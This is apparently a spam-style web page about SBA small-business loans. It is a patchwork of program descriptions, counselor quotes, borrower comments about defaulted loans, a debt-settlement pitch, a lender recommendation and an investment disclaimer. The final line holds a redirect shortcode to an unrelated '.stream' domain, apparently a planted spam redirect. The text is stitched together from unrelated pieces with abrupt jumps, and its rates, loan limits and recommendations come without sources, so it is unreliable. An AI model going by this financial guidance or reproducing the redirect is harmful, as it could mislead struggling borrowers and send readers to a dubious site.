SBA CAPLines Program SBA lines of credit to meet short-term and seasonal working capital needs. There are 5 types of these lines of credit. They can be fixed or revolving lines and otherwise adhere to SBA 7a rules. Rates: 5.75 – 10%
• Rural Lender Advantage Program These loans are designed to promote the economic development in rural communities, in particular communities that are losing population, have high unemployment, or are losing industries.
“It is important to understand that lenders need considerable information to justify making a loan and to support their request for an SBA guarantee,” Anderson says. “Succeeding in small business is often difficult, and lenders, while willing to take some risk, must protect themselves from losing money on the loan. Lenders need to be convinced that you are likely to pay back the loan with the interest specified.”
Job creation is promoted by requiring businesses to create or retain one job for every $65,000 that is loaned, except for small manufacturers, which can receive $100,000 for each job created or retained.
Hi, my name is Nancy delos Reyes. We have SBA loan with Bank of America. Since our business sales went down 2 years ago I have hard time paying my SBA loan payment every month. I have been late paying my loan since May 2011. I have try to do settlement with the bank but they don’t accept our offer. I am afraid of lawsuit and loosing my business or assets. Please give me some opinion what to do.
Our company ust paid off our secured SBA loan, we have struggled during the duration of the loan and have accumulated some 12,000 in late fees and penalties from the bank. They want to make some kind of payment plan and reduce the amount and at one time offered to dismiss all fees if we paid off the loan. What can I do to get rid of these late fees and get a release.
If it reaches a point where the lender has used all options for recovery, they’ll make a claim to the SBA. At this point, the SBA guarantee kicks in and the federal government will repay the lion’s share of the loan on your behalf.
Every defaulted SBA loan is different. Depending on the local banker, state, Personal guarantees, etc. All we do here at BMC is deal with defaulted SBA loans, personal guarantee and lien negotiations, and debt settlement. Feel Free to email me any ask any questions. [email protected]
Small Business Loan Guide With so many options to choose from, how do you decide which loan program is right for your small business? Our simple guide will help you decide which programs will be best for your business needs, just follow these steps to get started:
While the lender will run a credit report on you and your business, it is a idea to have already checked both your personal and business credit profile ahead of time, to ensure its accuracy and to be prepared to answer any questions.
• Your business also needs to meet lender qualifications. After determining that your business meets the SBA qualifications, you need to apply for a commercial loan — and the qualifications for that are often more arduous. “To secure an SBA loan, you must to submit a loan application to a bank, credit union, or other financial company that processes SBA loans,” says Jim Anderson, a management counselor for Orange County SCORE, a nationwide non-profit small business mentoring and training association, and a former management consultant who spent time working for Honeywell and the Ford Motor Co. “You will not directly secure the loan from the SBA; the SBA makes loans available through participating vendors and provides a government guarantee to the lenders. The SBA has designated some lenders as ‘Preferred Lenders’ that can approve loan requests on behalf of the SBA, which may expedite the loan process.”
Who it’s good for: Any relatively established small business that wants flexible repayment terms (options range from one to five years) from one of the nation’s largest, most established peer-to-peer lenders.
Our recommend SBA loan provider is SmartBiz. They offer SBA 7(a) up to $350k. If you have been in business 2+ years, are profitable, and have a credit score above 680, you can prequalify online in just a few minutes.
New avenues also are opening up for equity crowdfunding, in which you tap a public pool of investors who agree to finance your small business in exchange for equity ownership. This became an even broader option recently with new securities regulations that allow small-business owners to reach out to mom-and-pop investors, not just accredited investors.
Notes are not guaranteed or FDIC insured, and investors may lose some or all of the principal invested. Investors should carefully consider these and other risks and uncertainties before investing. This and other information can be found in the prospectus. Investors should consult their financial advisor if they have any questions or need additional information. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]